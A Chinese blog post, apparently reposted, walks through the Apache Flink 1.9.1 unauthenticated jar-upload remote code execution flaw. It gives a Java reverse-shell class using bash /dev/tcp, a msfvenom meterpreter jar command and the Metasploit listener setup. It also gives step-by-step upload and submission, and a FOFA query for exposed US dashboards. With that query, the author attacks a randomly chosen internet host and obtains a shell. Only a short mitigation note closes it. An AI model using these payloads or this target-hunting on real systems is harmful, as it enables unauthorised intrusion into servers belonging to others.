首页 > 其他分享 >flink Uploaded Jars 路径 flink提交jar包

flink Uploaded Jars 路径 flink提交jar包

时间:2024-11-12 11:30:39浏览次数:1  
标签:Uploaded shell java flink jar 点击 上传

flink Uploaded Jars 路径 flink提交jar包


flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了

漏洞描述:

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

<= 1.9.1(最新版本)

环境搭建:

(1) 提前安装好java(需要java8以上)

flink Uploaded Jars 路径 flink提交jar包_flink_02

(2) 下载flink-1.9.1

下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解压下载的压缩包:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
  • 1.

(4) 进去到解压后的目录中,来到其bin目录下:

flink Uploaded Jars 路径 flink提交jar包_flink_03

(5) 启动flink:

./start-cluster.sh
  • 1.

(6) 浏览器访问验证(默认端口为8081):

 http://172.26.1.108:8081

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_04

出现上图即搭建成功.

(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后在一篇博客中找到了解决方法)

flink Uploaded Jars 路径 flink提交jar包_flink_05

开机自启设置参考:

漏洞复现:

jar包制作步骤:

(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_06

记得修改ip和端口:

flink Uploaded Jars 路径 flink提交jar包_jar包_07

代码:

package shell;public class Revs {    /**    * @param args    * @throws Exception     */    public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Runtime r = Runtime.getRuntime();        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};        Process p = r.exec(cmd);        p.waitFor();    }}
  • 1.

(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)

flink Uploaded Jars 路径 flink提交jar包_jar包_08

b.然后选择java-->Runnable JAR file

flink Uploaded Jars 路径 flink提交jar包_flink_09

c.然后选择对应的java项目和导出路径以及导出文件名

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_10

图片

这样就生成了一个反弹shell的jar包

msf生成jar马:

(1) 利用msfvenom来生成一个jar马:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
  • 1.

(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
  • 1.

(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:

flink Uploaded Jars 路径 flink提交jar包_flink_11

本地复现:

(1) 访问目标:

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_12

(2) 点击Submit New job,打开上传jar包的页面:

flink Uploaded Jars 路径 flink提交jar包_jar包_13

(3) 点击Add New选择我们制作好的jar包:

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_14

(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)

(5) 点击我们刚刚上传的jar包:

flink Uploaded Jars 路径 flink提交jar包_flink_15

(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_16

互联网站点:

fofa关键词:

"apache-flink-dashboard" && country="US"
  • 1.

(1) 随便找一个目标:

flink Uploaded Jars 路径 flink提交jar包_上传_17

(2) 点击Submit new Job,可以看到其可以允许我们上传jar包

flink Uploaded Jars 路径 flink提交jar包_上传_18

(3) 利用flink上传jar包的功能将我们的jar包上传:

flink Uploaded Jars 路径 flink提交jar包_eclipse导出的jar包双击运行不了_19

(4) 上传后,我们在我们的vps上监听好端口

(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell

flink Uploaded Jars 路径 flink提交jar包_jar包_20

漏洞修复:

建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。

时刻关注官网,等待新版本或补丁更新

参考链接:



原文链接:https://blog.51cto.com/u_16213653/10759686

标签:Uploaded,shell,java,flink,jar,点击,上传
From: https://www.cnblogs.com/sunny3158/p/18541507

相关文章

  • Flink日志输出查看方式 通过web页面 Stdout 查看控制台日志
    Flink日志输出查看方式在网上查看flink日志查看方式,竟然查询不到,因此写下这篇文章,给有此困惑的小盆友们,也给自己做个总结!前情提要:我是通过flinkwebui提交的flink任务的,因此通过flinkui查看自身控制台打印输出的。第一步:打开flink的Dashboard看到TaskManager的控制面......
  • 大数据Flink - StreamGraph
    ⭐简单说两句⭐✨正在努力的小新~......
  • SpringBoot+Thyemleaf开发环境正常,打jar包发到服务器就报错Template might not exist
    前言前几天,我在开发前后端一体的项目时候,遇到了一个巨大的坑。这个是关于SpringBoot+Thyemleaf的。现象就是,我在本地开发环境是好的,正常访问某个页面,但是到了打成jar包后,部署到服务器之后,再访问那个页面,总是报错。这个报错是类似于Templatemightnotexistormightnot..问题......
  • jar包是什么?
    1.什么是jar包jar包是Java的一种文档格式,是一种与平台无关的文件格式,可将多个文件合成一个文件。jar包与zip包非常相似——准确地说,它就是zip包,所以叫它文件包。jar与zip唯一的区别就是在jar文件的内容中,包含了一个META-INF/MANIFEST.MF文件,该文件是在生成jar......
  • 【IDEA】告别繁琐反编译:IDEA中轻松反编译与修改Jar包
    本文带你了解JarEditor插件的强大功能,它让你无语再用其他第三方工具,也无需解压JAR文件就能直接在IDEA中编辑其中的类和资源文件。还能用它轻松添加、删除或重命名JAR包里的文件。即使遇到混淆过的JAR,JarEditor也能通过Javassist工具搞定。支持的功能JarEditor提供了......
  • 第三方JAR包升级+snyk的基本使用
    1.使用snyk对第三方JAR包进行扫描(需要先安装snyk);2.按住windows+r输入cmd进入命令控制行;3.使用snyk进行扫描,cd进入包含pom.xml文件的目录下ps:将/path/to/xmlsec-1.5.6.jar替换为实际的文件路径。cd/dcd/path/to/your/project4.对整个pom.xml扫描的命令snyktest-......
  • 云服务器Linux部署war、jar包,并在nginx配置域名
    一,打包Jar包        一个Springboot项目默认打包jar包,无需修改配置,点击右侧Maven-Lifecycle-package打包即可注意:需要先检查pom.xml文件,可能此时打包完的jar包会出现        nomainmanifestattribute,intest-0.0.1-SNAPSHOT.jar        xx......
  • 打靶记录-Jarbas
    靶机下载vulnhub->Jarbas确定靶机nmap-sn192.168.52.0/24靶机ip:192.168.52.130扫描全端口开放情况nmap-sT192.168.52.130-p--oA./ports详细扫开放的端口nmap-sT-sC-sV-O192.168.52.130-p22,80,3306,8080-oA./details扫udp端口开放nmap-sU--top-po......
  • PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
    ​题目来源:JarvisOJ https://www.jarvisoj.com/challenges题目名称:Level0题目介绍:属于栈溢出中的ret2text意思是Returntotext当程序中有可利用的危险函数控制程序的返回地址到原本的函数实现溢出利用 基础过程(看个人习惯):运行程序查看程序流程file查看文件内存......
  • 从Samza到Flink:Java实现数据流转换
    标题:从Samza到Flink:Java实现数据流转换摘要:本文将介绍如何使用Java语言实现将数据流从Samza转换为Flink的过程。通过使用Flink的丰富功能和优化技术,我们可以轻松处理大规模数据流,并实现精确和高效的数据处理。引言Samza和Flink是两个非常流行的分布式数据处理框架,它们都......